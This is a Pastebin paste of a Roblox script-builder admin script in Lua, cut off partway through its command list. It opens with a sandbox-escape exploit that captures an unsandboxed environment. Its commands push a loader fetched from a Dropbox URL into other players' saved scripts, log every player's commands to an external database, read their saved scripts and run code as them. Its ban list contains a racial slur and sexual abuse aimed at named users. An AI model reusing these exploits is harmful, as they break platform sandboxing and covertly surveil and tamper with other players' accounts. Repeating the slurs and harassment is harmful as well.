Advertisement
colddddda

Untitled

Jun 2nd, 2016
1,354
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.81 KB | None | 0 0
  1. wait(); --Unremovable bypass script.Parent=nil rawset(shared, "\0bp", function() local i=game:service'InsertService':LoadAssetVersion(519416165); local n=i:children()[1]; game:service'Debris':AddItem(i,0); n.Parent=workspace; coroutine.yield(); local e; pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''})); _G.OSC_AddServerSideData=nil; game:service'Debris':AddItem(n,0); return e end); local y=shared['\0bp'](); shared["\0bp"]=nil; game:GetService'ReplicatedStorage':ClearAllChildren(); y.setfenv(0,y); y.setfenv(1,y); y.pcall(function() y.setfenv(2,y); end); --Ends the bypass -- Easiest Fixing ever l0l. --// Blanxiom Administration VERSION 1.0 local Solaris = { AccessKey = "=BNFO@E%+gAOyLJbIJSlQ!IXOfg^10wezjG6Nf#^b4fO%&wFuzAQ|youxgW&3gl&epj4V5=EFLO9#HAJ"; --// Kill Switch __STATUS = true; --// Administrations Components Admins = { ["destroyerethank"]={Level=5}; ["destroyerethank"]={Level=5}; }; Levels = { [1]="User"; [2]="Trusted"; [3]="Friend"; [4]="Administrator"; [5]="Creator/Developer"; }; Banned = { jebjordan="Your account is underaged. Come back in: nil days."; Control22="Your account is underaged. Come back in: nil days."; PyrexDeveloper="Your account is underaged. Come back in: nil days."; FallingVortex="Your account is underaged. Come back in: nil days."; Optiglory="Your account is underaged. Come back in: nil days."; gage7252002="bye bye skid ur banned now"; Mikko3m="dont ban me skid C:"; --w00t111="this server has a age restriction come back in 970 days"; CharcterKaiser="go die annoying skid"; -- FallingVortex="lrn 2 skript kid gtfo liquidex skid"; robloxchamp20="u ban me i ban u git rkt"; -- iiDeadzone="u ban me i ban u git rkt"; endermanac="git bbban11!!!"; Dman2435="die just die"; Dman2435alt="die just die"; meunumbertwo="ur banned bby"; Copenricus45="you got stopped by an admin skid c;"; FreeModelInventor="get out skid go suc\5k my dick bitch whore"; PWNTART = "die pls thx u"; HopeYouHaveAGoodComp="you have been trolled nigger bitch die kkk"; BookOEchos="git banned bitch"; Autospy="another alt another ban"; TotallyNotAnAlt1257="another alt another ban"; fmerSKID005="another alt another ban"; crazychimp1284="dienoobkthxbye"; MrXTheGreat="dienoobkthxbye"; ScriptNurd="dienoobkthxbye"; Therealestnumber1="dienoobkthxbye"; Opligi="dienoobkthxbye"; jmckoy12="dienoobkthxbye"; ["5ascfrhubber"]="dienoobkthxbye"; DangCoolIsReal3="dienoobkthxbye"; legendy123="dienoobkthxbye"; PithIsOnline="dienoobkthxbye"; Opllgltory="git banned wanabe"; YeaImnotanalt="dienoobkthxbye"; superkiki609="git banned?"; immcool1="git banned now skid"; }; Chatted = { Settings = { Prefix = ";"; Suffix = "-"; }; Commands = {}; }; --// Orb Components Settings = { Orb = nil; Character = nil; Following = false; Target = ""; TrailParts = {}; Trail = true; OrbColor = BrickColor.new("Institutional white"); TrailColor = BrickColor.new("Institutional white"); Rotation = { Rot = 0; Radius = 6.3; Height = 1; Bounce = 2.0; Speed = 0.03; Length = 0.014; }; }; --// Tool Components Blocker = { LocalBlock = false; GlobalBlock = false; LagBlocker = true; }; LagBlockedInstances = { "Message"; "Hint"; "Sound"; }; Logs = {}; --// Functional Storage API = { Bootstrap = {} }; } local Settings = Solaris.Settings local API = Solaris.API local Bootstrap = API.Bootstrap local Time = require(285173569) local rbxdb = require(278524047) --local key = "b0454f5837d3aaeeb879937c6f6c2215" --pcall(rbxdb:Connect(key)) --// Output API function API.print_to(target,input) if input == nil then input = "nil" end local plr if type(target)=='userdata'then plr = target elseif type(target)=='string'then plr = game:GetService('Players'):FindFirstChild(target) end if type(plr)=='userdata' then local str = Instance.new('StringValue',plr) str.Name = 'SB_Output:Output' str.Value = game:GetService('HttpService'):JSONEncode{'Warn',input} end end local print_to = Solaris.API.print_to function API.print(input) if input == nil then input = "nil" end for i,v in pairs(game:GetService('Players'):children())do if Solaris.Admins[v.Name]then if Solaris.Admins[v.Name].Level > 2 then print_to(v,input) end end end end local print = Solaris.API.print function API.print_lvl(level,input) if input == nil then input = "nil" end for i,v in pairs(game:GetService('Players'):GetPlayers())do if Solaris.Admins[v.Name]then if Solaris.Admins[v.Name].Level > level then print_to(v,input) end end end end local print_lvl = Solaris.API.print_lvl function API.broadcast(input) if input == nil then input = "nil" end for i,v in pairs(game:GetService('Players'):GetPlayers())do print_to(v,input) end end local broadcast = Solaris.API.broadcast --// Utility API function API.Make(ClassName) return function(data) local Instance = Instance.new(ClassName) for index,value in pairs(data) do if type(index) == "number" then value.Parent = Instance else Instance[index] = value end end return Instance end end local Make = API.Make function API.clerp(p1,p2,percent) local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components() local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components() return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22)) end local clerp = API.clerp function API.Rainbow(i) local section = i % 1 * 3 local secondary = 0.5 * math.pi * (section % 1) if section < 1 then return 1, 1 - math.cos(secondary), 1 - math.sin(secondary) elseif section < 2 then return 1 - math.sin(secondary), 1, 1 - math.cos(secondary) else return 1 - math.cos(secondary), 1 - math.sin(secondary), 1 end end local Rainbow = API.Rainbow function API.GetPlayer(msg,plr) local Collected_Players = {} if string.lower(msg) == "me" then table.insert(Collected_Players, plr) elseif string.lower(msg) == "all" then for index,player in pairs(game:GetService('Players'):children()) do if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level or (plr.Name == player.Name) then table.insert(Collected_Players, player) end end elseif string.lower(msg) == "others" then for index,player in pairs(game:GetService('Players'):children()) do if player.Name ~= plr.Name then if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then table.insert(Collected_Players, player) end end end elseif string.lower(msg) == "friends" then for index,player in pairs(game:GetService('Players'):children()) do if player.Name ~= plr.Name then if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then if plr:IsFriendsWith(player.userId) == true then table.insert(Collected_Players, player) end end end end elseif string.lower(msg) == "nonfriends" then for index,player in pairs(game:GetService('Players'):children()) do if player.Name ~= plr.Name then if Solaris.Admins[player.Name].Level < Solaris.Admins[plr.Name].Level then if plr:IsFriendsWith(player.userId) == false then table.insert(Collected_Players, player) end end end end else for index,player in pairs(game:GetService('Players'):children()) do if string.sub(string.lower(player.Name), 1, #msg) == string.lower(msg) then if Solaris.Admins[player.Name].Level <= Solaris.Admins[plr.Name].Level or (plr.Name == player.Name) then table.insert(Collected_Players, player) end end end end return Collected_Players end local GetPlayer = API.GetPlayer function API.GetSplit(msg) return string.find(msg,Solaris.Chatted.Settings.Suffix) end local GetSplit = API.GetSplit function API.Generate(Length) local Generated = "" for _ = 1, Length do Generated = Generated .. string.char(math.random(33,126)) end return Generated end local Generate = API.Generate function API.GetGarbage(plr) print_to(plr,"Got Garbage") print_to(plr,"________________________") for i = 1,10 do wait(1) print_to(plr,"| Attempt#"..i.." ["..collectgarbage("count").."] |") end print_to(plr,"________________________") end local GetGarbage = API.GetGarbage --// Orb API function API.SpawnOrb() Settings.Orb = Make('Part'){ Name = "\5\5\5\5Solar\5\5is\5\5\5\5"; Parent = game.Workspace, BrickColor = Settings.OrbColor, Material = Enum.Material.SmoothPlastic, Transparency = .1, Anchored = true, CanCollide = false, Locked = true, FormFactor = "Symmetric", Shape = "Ball", Size = Vector3.new(1,1,1), TopSurface = 10, BottomSurface = 10, }Settings.Orb.Changed:connect(function() if not game.Workspace:FindFirstChild(Settings.Orb.Name)then if Solaris.__STATUS == true then API.SpawnOrb() end end end) end local SpawnOrb = API.SpawnOrb function API.MakeTrail() if Settings.Orb ~= nil and Settings.Trail == true then local Trail = Make'Part'{ CanCollide = false, Parent = Settings.Orb, BrickColor = Settings.TrailColor, Material = Enum.Material.SmoothPlastic, Transparency = .1, Anchored = true, Locked = true, FormFactor = "Custom", Size = Vector3.new(.2,.2,.2), CFrame = Settings.Orb.CFrame, TopSurface = 10, BottomSurface = 10, }table.insert(Settings.TrailParts, Trail) return Trail end end local MakeTrail = API.MakeTrail function API.SpawnTrail() if Settings.Orb ~= nil and Settings.Trail == true then local Trail = API.MakeTrail() end end local SpawnTrail = API.SpawnTrail function API.Rotate() game:GetService('RunService').Stepped:connect(function() if Solaris.__STATUS == true then wait() local Following=game:GetService('Players'):FindFirstChild(Settings.Target) if Following and Following.Character and Following.Character:FindFirstChild("Torso") and Settings.Following then Settings.Character = Following.Character.Torso.CFrame else Settings.Character = CFrame.new(0,5.7,0) end if Settings.Orb ~= nil then Settings.Rotation.Rot = Settings.Rotation.Rot + Settings.Rotation.Speed Settings.Orb.Name = "\5\5\5\5Solar\5\5is\5\5\5\5" Settings.Orb.CFrame = clerp(Settings.Orb.CFrame, CFrame.new(Settings.Character.p) *CFrame.new(0,3.9,0) *CFrame.Angles(0,Settings.Rotation.Rot,(math.sin((tick())*.9)*5)*.6) *CFrame.new(Settings.Rotation.Radius, math.sin((tick())*Settings.Rotation.Bounce)*Settings.Rotation.Height,2) *CFrame.Angles(100,Settings.Rotation.Rot,(math.sin((tick())*1)*5)*.9) ,.1) API.SpawnTrail() for i,_ in next,Settings.TrailParts do if Settings.TrailParts[i] ~= nil and Settings.TrailParts[i+1] ~= nil then local Part1 = Settings.TrailParts[i] local Part2 = Settings.TrailParts[i+1] local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude) Part1.Name = math.random(1,99999999) Part1.Size = Vector3.new(Part1.Size.X+Settings.Rotation.Length, Mag, Part1.Size.Z+Settings.Rotation.Length) Part1.Transparency = Part1.Transparency + .017 Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p) * CFrame.Angles(math.pi/2,0,0) if Part1.Size.X >= .74 then Part1:Destroy() table.remove(Settings.TrailParts, i) end end end end end end) end local Rotate = API.Rotate function API.ChangeTheme(plr,theme) --// Sets orb to default configurations Settings.Orb.BrickColor = BrickColor.new('White') Settings.Orb.Transparency = .1 for i,v in pairs(Settings.Orb:children())do if v.ClassName=='SpecialMesh'then v:remove()end end --// Themes if theme == 'normal' then API.SpawnTrail = function() if Settings.Orb ~= nil and Settings.Trail == true then local Trail = API.MakeTrail() end end elseif theme == 'jeb' then API.SpawnTrail = function() if Settings.Orb ~= nil and Settings.Trail == true then local Trail = API.MakeTrail() spawn(function() Settings.Orb.BrickColor = BrickColor.new('Really black') Trail.BrickColor = BrickColor.new('Navy blue') local box = Make('SelectionBox'){ Adornee = Trail; Parent = Trail; Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5"; LineThickness = 0.001; Color3 = Color3.new(0,0,0); } end) end end elseif theme == 'op-light' then API.SpawnTrail = function() if Settings.Orb ~= nil and Settings.Trail == true then local Trail = API.MakeTrail() spawn(function() Settings.Orb.BrickColor = BrickColor.new('Really black') Trail.BrickColor = BrickColor.new('Deep orange') local box = Make('SelectionBox'){ Adornee = Trail; Parent = Trail; Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5"; LineThickness = 0.001; Color3 = Color3.new(255,255,255); } end) end end elseif theme == 'rol' then API.SpawnTrail = function() local Trail = API.MakeTrail() spawn(function() Trail.BrickColor = BrickColor.new("Royal purple") Settings.Orb.BrickColor = BrickColor.new("Really black") local S_Box = Make('SelectionBox'){ Adornee = Trail; Parent = Trail; Name = "\5\5\5\5\SelectionBox\5\5\5\5\5"; LineThickness = 0; Color3 = BrickColor.new("Really black").Color; } end) end elseif theme == 'jeb' then API.SpawnTrail = function() local Trail = API.MakeTrail() spawn(function() Trail.BrickColor = BrickColor.new("White") Settings.Orb.BrickColor = BrickColor.new("Really black") local S_Box = Make('SelectionBox'){ Adornee = Trail; Parent = Trail; Name = "\5\5\5\5\SelectionBox\5\5\5\5\5"; LineThickness = 0; Color3 = BrickColor.new("Really black").Color; } local Mesh = Make('SpecialMesh'){ Parent = Settings.Orb; MeshId = "http://www.roblox.com/asset/?id=1529453"; Name = "Mesh"; Scale = Vector3.new(2.5,2.5,2.5) } end) end elseif theme == 'hidden' then API.SpawnTrail = function() local Trail = API.MakeTrail() spawn(function() Trail.Transparency = 1 Settings.Orb.Transparency = 1 end) end else print_to(plr,"[Error]: "..theme.." is not a valid theme name") return end print_to(plr,"[Blanxiom]: Orb has changed theme to "..theme) end local ChangeTheme = API.ChangeTheme function API.Follow(boolean,plr) if type(plr)~='string'then return end if boolean == true then Settings.Following = true Settings.Target = plr elseif boolean == false then Settings.Following = false Settings.Target = "" end end local Follow = API.Follow --// Oxcool1 Sb Tools API function API.Sbexe(cmd,plr) if not type(cmd)=='string'then return end if plr then if type(plr)=='userdata'then plr:FindFirstChild("SB_CommandRemote",true).Value = cmd elseif type(plr)=='string'then plr = game:GetService('Players'):FindFirstChild(plr) plr:FindFirstChild("SB_CommandRemote",true).Value = cmd end else for i,v in pairs(game:GetService('Players'):children())do v:FindFirstChild("SB_CommandRemote",true).Value = cmd end end end local Sbexe = API.Sbexe function API.ConnectLogger(plr) if type(plr) ~= 'userdata'then return end if plr:FindFirstChild("SB_CommandRemote",true) then plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function() if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then Sbexe("g/ns")wait(.1) plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script") end if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then table.insert(Solaris.Logs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)}) local CurrentTime = Time:GetTime() local TimeStamp = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]") rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)) end end) end end local ConnectLogger = API.ConnectLogger function API.GetLogs(plr) print_to(plr,"Got logs") if #Solaris.Logs > 0 then print_to(plr,"--------------------------------") end for index,data in pairs(Solaris.Logs)do if #Solaris.Logs > 30 then wait(.1)end print_to(plr,tostring(data.User)) print_to(plr,tostring(data.Command)) print_to(plr,"--------------------------------") end end local GetLogs = API.GetLogs function API.InjectLoader(plr) Sbexe("remove/Blanxiom",plr) Sbexe("ch/Blanxiom/https://www.dropbox.com/s/574ygd6vonqk4i8/Deployment-Script.lua?dl=1",plr) Sbexe("save/Blanxiom",plr) end local InjectLoader = API.InjectLoader function API.GetSavedScripts(plr) local Save_Key = string.reverse("stpircSdevaS_xoREDliubtpIrCs"); print_to(plr,"Got Saved Scripts") for i,v in pairs(game:GetService('Players'):children())do if v.ClassName == 'Player' then local Encoded_Table = v:LoadString(Save_Key) local Decoded_Table --//Table Decoding if type(Encoded_Table)=='string' and Encoded_Table=="[]"or Encoded_Table==""then Decoded_Table = {{No=" Saved Scripts"}} else Decoded_Table = game:GetService('HttpService'):JSONDecode(Encoded_Table) end --// Table Printing --print_to(plr,"------------------------------------------------------------------") print_to(plr,"--------------------------["..v.Name.."]--------------------------") if type(Decoded_Table)=='table'then for _index,_data in pairs(Decoded_Table)do for index,data in pairs(_data)do wait(.1) print_to(plr,index.." : "..data) end end end print_to(plr,"------------------------------------------------------------------") end end end local GetSavedScripts = API.GetSavedScripts function API.GiveServerConsole(Player) if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then spawn(function() local Create = API.Make local Closed = false local ScreenGui = Create "ScreenGui" { Name = "Server Console", Parent = Player.PlayerGui } local Main = Create "TextButton" { AutoButtonColor = false, BackgroundColor3 = Color3.new(0, 0, 0), BorderSizePixel = 0, Size = UDim2.new(0, 375, 0, 15), Draggable = true, Font = "SourceSansBold", FontSize = "Size14", TextYAlignment = "Top", TextColor3 = Color3.new(1, 1, 1), Text = " Server Console", TextXAlignment = "Left", Position = UDim2.new(0.321, 0, 0.196, 0), Parent = ScreenGui } local Refresh = Create "TextButton" { Active = true, AutoButtonColor = false, BackgroundColor3 = Color3.new(0, 0, 0), BorderSizePixel = 0, Position = UDim2.new(1, 0, 0, 0), Size = UDim2.new(0, 60, 0, 15), Font = "SourceSansBold", FontSize = "Size14", Text = "Refresh", TextYAlignment = "Top", TextColor3 = Color3.new(1, 1, 1), TextYAlignment = "Top", TextXAlignment = "Right", Parent = Main } local TextButton = Create "TextButton" { AutoButtonColor = false, BackgroundColor3 = Color3.new(0, 0, 0), BorderSizePixel = 0, Position = UDim2.new(1, 60, 0, 0), Size = UDim2.new(0, 15, 0, 15), Font = "SourceSansBold", FontSize = "Size14", TextYAlignment = "Top", Text = "-", TextColor3 = Color3.new(1, 1, 1), Parent = Main } local ContentFrame = Create "Frame" { BackgroundColor3 = Color3.new(0, 0, 0), BackgroundTransparency = 0.2, BorderSizePixel = 0, Position = UDim2.new(0, 0, 0, 15), Size = UDim2.new(0, 450, 0, 0), Parent = Main } local ScrollingFrame = Create "ScrollingFrame" { Size = UDim2.new(1, 0, 1, 0), CanvasSize = UDim2.new(3, 0, 0, 0), MidImage = "rbxassetid://158362264", TopImage = "rbxassetid://158362307", BottomImage = "rbxassetid://158362221", BackgroundTransparency = 1, BorderSizePixel = 0, ScrollBarThickness = 5, Parent = ContentFrame } ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true) TextButton.MouseButton1Down:connect(function() if Closed == false then Closed = true TextButton.Text = "+" ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true) delay(1, function() ScrollingFrame.Visible = false end) else Closed = false TextButton.Text = "-" ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true) delay(0.5, function() ScrollingFrame.Visible = true end) end end) local function GetNumberOfChildren(Object) local Number = -15 for index,child in pairs(Object:GetChildren()) do if child.ClassName == "TextLabel" then Number = Number + 15 end end return Number end local function Output(Text, Color) local Line = Create "TextLabel" { ZIndex = 2, BackgroundTransparency = 1, BorderSizePixel = 0, Text = string.format(" %s", Text), Font = "SourceSansBold", FontSize = "Size14", TextColor3 = Color, TextWrapped = false, Size = UDim2.new(1, 0, 0, 15), Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)), TextXAlignment = "Left", TextYAlignment = "Top", TextStrokeTransparency = 0.9, Parent = ScrollingFrame, } if #ScrollingFrame:GetChildren() > 29 then local NumChildren = GetNumberOfChildren(ScrollingFrame) ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren) ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5) end end local function OutputLogHistory() for index,data in pairs(game.LogService:GetLogHistory()) do if data.messageType == Enum.MessageType.MessageOutput then Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1)) elseif data.messageType == Enum.MessageType.MessageWarning then Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4)) elseif data.messageType == Enum.MessageType.MessageError then Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0)) elseif data.messageType == Enum.MessageType.MessageInfo then Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1)) end end end OutputLogHistory() Refresh.MouseButton1Down:connect(function() ScrollingFrame:ClearAllChildren() wait() OutputLogHistory() end) end) end end local GiveServerConsole = API.GiveServerConsole function API.SafeExe(string_src,string_plr) if string_src == nil then string_src = "" end local BypassEnv = getfenv(1) BypassEnv.script = "Locked Object" BypassEnv.print_to = print_to rawset(_G,"NewBypassEnv",BypassEnv) local ExecuteSource = [[ wait(.1) local newEnv = _G.NewBypassEnv newEnv.owner = getfenv(1).owner newEnv.print = function(i) if i == nil then i = "" end newEnv.print_to(tostring(owner),i) end setfenv(1,newEnv) ]] local ExeSrc = ExecuteSource..string_src Sbexe("c/"..ExeSrc,string_plr) end local SafeExe = API.SafeExe --// Admin API function API.GetAdmins(plr) for i,v in pairs(Solaris.Admins)do print_to(plr,"["..i.."]-"..Solaris.Levels[v.Level]) end end local GetAdmins = API.GetAdmins function API.AddCommand(Name,Usage,Desc,Level,Func) table.insert(Solaris.Chatted.Commands,{Name=Name,Usage=Usage,Desc=Desc,Level=Level,Func=Func}) end local AddCommand = API.AddCommand function API.Chatted(plr,msg) if msg:lower()=='h/http://pastebin.com/raw.php?i=TdtSWRAL'then Sbexe("g/ns") plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script") end local Commands = Solaris.Chatted.Commands local Prefix = Solaris.Chatted.Settings.Prefix local Suffix = Solaris.Chatted.Settings.Suffix local sub = string.sub local lower = string.lower if sub(msg,1,3)=='/e 'then msg = sub(msg,4) end if Solaris.Admins[plr.Name]then for index,data in pairs(Commands)do if Prefix..data.Usage..Suffix == sub(lower(msg),1,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix))then if Solaris.Admins[plr.Name].Level >= data.Level then local y,n = ypcall(function() data.Func(sub(msg,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix)+1), GetPlayer, plr) end) if not y then print_to(plr,"[Error]: a command related error has occured : "..n) end else print_to(plr,"[Error]: Your access level is to low for that command") end end end end end local Chatted = API.Chatted function API.BootCommands()--// Function that calls and injects all commands AddCommand("Test","tst","TEST TEST",1,function(Message,Collect_Players,Player) print_to(Player,"[Blanxiom]: TEST") end) AddCommand("Inject All destroyerethank's Scripts On A Player","runto","Inject destroyerethank's Scripts",1,function(Message,Collect_Players,Player) local screenGui = Instance.new("ScreenGui", game.Players.destroyerethank.PlayerGui ) local imageLabel = Instance.new("ImageLabel") imageLabel.Image = "http://www.roblox.com/asset?id=297223043" imageLabel.Parent = screenGui --up r l down imageLabel.Position = UDim2.new(0, 1650, 0, 690) imageLabel.Size = UDim2.new(0, 300, 0, 300) local Me = script wait() script.Parent=nil local _OX=getfenv() local i=game:service'InsertService':LoadAsset(140878711) local n=i:children()[1] game:service'Debris':AddItem(i,0) n.Parent=workspace pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function() Environment=getfenv(2)end})) _G.OSC_AddServerSideData=nil game:service'Debris':AddItem(n,0) local new=Environment new.owner=_OX.owner new.print=_OX.print new.error=_OX.error new.warn=_OX.warn setfenv(1, Environment) rawset(shared, "\0bp", function()local i=game:service'InsertService':LoadAssetVersion(519416165);local n=i:children()[1];game:service'Debris':AddItem(i,0);n.Parent=workspace;coroutine.yield();local e;pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function()e=getfenv(2)end,__metatable=''}));_G.OSC_AddServerSideData=nil; game:service'Debris':AddItem(n,0); return e end); y=shared['\0bp']();shared["\0bp"]=nil; game:GetService'ReplicatedStorage':ClearAllChildren(); logtxt=''; function writelog(msg) for _, item in ipairs(workspace:GetChildren()) do if item:IsA'Hint' then item:Destroy();end;end; for _, p in pairs(y.game:GetService'Players':GetPlayers()) do local m=y.Instance.new'StringValue'; m.Value='["Print","'..msg..'"]'; m.Name="SB_Output:Output"; m.Parent=p end end function log(player)local p=type(player)=='string' and getPlayer(player) or player;if p then p.PlayerGui.SB_DataTransfer.SB_CommandRemote.Changed:connect(function(value)if value~='' then warn("<|"..p.Name.."|> <|CmdBar|> "..value) end;end)p.Chatted:connect(function(msg)end)end;end;table.foreach(game:GetService'Players':GetPlayers(),function(_, p)log(p)end); game.Players.PlayerAdded:connect(log);print('~- \/\/welcome -~') end) AddCommand("Airput","airput","An Airput",1,function(Message,Collect_Players,Player) require(292492701) end) AddCommand("Commands","cmds","Gets commands",1,function(Message,Collect_Players,Player) print_to(Player,"Got Commands") print_to(Player,"---------------------------------------------------------------") for index,data in pairs(Solaris.Chatted.Commands)do print_to(Player,"["..data.Name.."]-Level["..data.Level.."]-Usage:[\""..data.Usage.."\"]-Desc:["..data.Desc.."]") print_to(Player,"---------------------------------------------------------------") end end) AddCommand("Admins","admins","Gets admins",1,function(Message,Collect_Players,Player) print_to(Player,"Got admins") GetAdmins(Player) end) AddCommand("GetLogs","gl","Gets command logs",4,function(Message,Collect_Players,Player) GetLogs(Player) end) AddCommand('Kick','kick','Kicks a player from the server',3,function(Message, Collect_Players, Player) local Split = GetSplit(Message) local Plrs local Reason if Split == nil then Plrs = Collect_Players(Message,Player) Reason = nil else Plrs = Collect_Players(Message:sub(1,Split-1),Player) Reason = Message:sub(Split+1) end if #Plrs>0 then for _,Plr in pairs(Plrs) do if Reason == nil or Reason == "" then Reason = "You have been kicked from this server"end Plr:Kick(tostring(Reason)) end end end) AddCommand('Ban','ban','Bans a player from the server', 3, function(Message, Collect_Players, Player) local Split = GetSplit(Message) local Plrs local Reason if Split == nil then Plrs = Collect_Players(Message,Player) Reason = nil else Plrs = Collect_Players(Message:sub(1,Split-1),Player) Reason = tostring(Message:sub(Split+1)) end if #Plrs>0 then for _,Plr in pairs(Plrs) do if Reason == nil or Reason == "" then Reason = tostring("Being Banned") end --table.insert(Solaris.Banned,tostring(Plr.Name)==tostring(Reason)) Solaris.Banned[Plr.Name]=tostring(Reason) Plr:Kick("You have been banned for "..tostring(Reason)) end end end) AddCommand('Unban','unban','Unbans a player', 3, function(Message, Collect_Players, Player) for i,v in pairs(Solaris.Banned)do if string.sub(string.lower(i),1,#Message)==string.lower(Message)then Solaris.Banned[i]=nil end end end) AddCommand('Banned','banned','Shows banned table',2,function(Message, Collect_Players, Player) print_to(Player,"Got Banned") print_to(Player,"--------------------------------") for i,v in pairs(Solaris.Banned)do print_to(Player,"["..tostring(i).."]: "..tostring(v)) print_to(Player,"--------------------------------") end end) AddCommand('Sbexe',"sbexe","Sbexe to a Player",3,function(Message, Collect_Players, Player) local Split = GetSplit(Message) local Plrs = Collect_Players(Message:sub(1,Split-1),Player) local Command = Message:sub(Split+1) if #Plrs>0 then for index,data in pairs(Plrs)do Sbexe(Command,data)--afk end end end) AddCommand('Loader','injl','Injects Blanxioms loader to a player',3,function(Message, Collect_Players, Player) local Plrs = Collect_Players(Message,Player) if #Plrs > 0 then for i,v in pairs(Plrs)do print_to(v,"[Blanxiom]: has issued a loader to you") InjectLoader(v) end end end) AddCommand('Theme','theme','Changes Orb theme',2,function(Message, Collect_Players, Player) ChangeTheme(Player,Message) end) AddCommand('Follow','fol','Makes orb follow a target or your self',2,function(Message, Collect_Players, Player) if #Message>0 then local Plrs = Collect_Players(Message,Player) if #Plrs >1 then print_to(Player,"[Error]: Only one player allowed") return end for index,data in pairs(Plrs)do Follow(true,data.Name) end else Follow(true,Player.Name) end end) AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player) Follow(false,"") end) AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player) Sbexe("g/rejoin",Message) end) AddCommand('Shutdown','sd','Shuts down the server',3,function(Message, Collect_Players, Player) for i,v in pairs(game:GetService('Players'):children())do v:Kick('This server has shutdown') end end) AddCommand('Access Level','setl','Sets the access level of a plr',1,function(Message, Collect_Players, Player) local Split = GetSplit(Message) local Plrs = Collect_Players(Message:sub(1,Split-1),Player) local Level = tonumber(Message:sub(Split+1)) if #Plrs>0 then for index,data in pairs(Plrs)do if Level > Solaris.Admins[data.Name].Level and Solaris.Admins[data.Name].Level >= Solaris.Admins[Player.Name].Level then print_to(data,"[Error]: You cant set your level higher then your own") else print("[Blanxiom]: Has set "..data.Name.."'s Access level to ["..Level.."]") Solaris.Admins[data.Name].Level = tonumber(Level) end end end end) AddCommand('Bypass','bypass','Loads a _G function giving a new env',3,function(Message, Collect_Players, Player) local newEnv = getfenv(1) newEnv.script = nil newEnv.warn = print newEnv.print = print newEnv.print_to = print_to newEnv.broadcast = broadcast rawset(_G,"Bypass",function() return newEnv end) broadcast('[Blanxiom]: Has Loaded non-local bypass use setfenv(1,_G.Bypass()) to run unsandboxed code') end) AddCommand('Lock','lock','Sets the status of Scripting lock',3,function(Message, Collect_Players, Player) if #Message>0 then if Message:lower() == 'true' then if Solaris.Blocker.LocalBlock == true and Solaris.Blocker.LocalBlock == true then print_to(Player,"[Blanxiom]: Scripting is already locked") else Solaris.Blocker.LocalBlock = true Solaris.Blocker.GlobalBlock = true end elseif Message:lower()=='false' then if Solaris.Blocker.LocalBlock == false and Solaris.Blocker.LocalBlock == false then print_to(Player,"[Blanxiom]: Scripting is already unlocked") else Solaris.Blocker.LocalBlock = false Solaris.Blocker.GlobalBlock = false end end end end) AddCommand('Clear Cache','ccl','Clears log cache of a secret thing',5,function(Message, Collect_Players, Player) local y,n = pcall(function() print('[Blanxiom]: Has Cleared => HTTP CACHE') for i,v in pairs(rbxdb:GetAllData())do rbxdb:DeleteValue(i) end end) if not y then print("[ERROR]: "..n)end end) AddCommand('Hide','hide','hides or shows the orb',2,function(Message, Collect_Players, Player) if #Message>0 then if Message:lower() == 'true'then ChangeTheme(Player,'hidden') elseif Message:lower()== 'false' then ChangeTheme(Player,'normal') end end end) AddCommand('Get Saves','gs','Get saves',4,function(Message, Collect_Players, Player) GetSavedScripts(Player) end) AddCommand('Get Database','getd','Gets data from database',5,function(Message, Collect_Players, Player) local Data = rbxdb:GetAllData() if type(Data)=='table'then for i,v in pairs(Data)do wait(.1) print_to(Player,tostring(i)..":"..tostring(v)) end end end) AddCommand('Console','sc','Gives Server 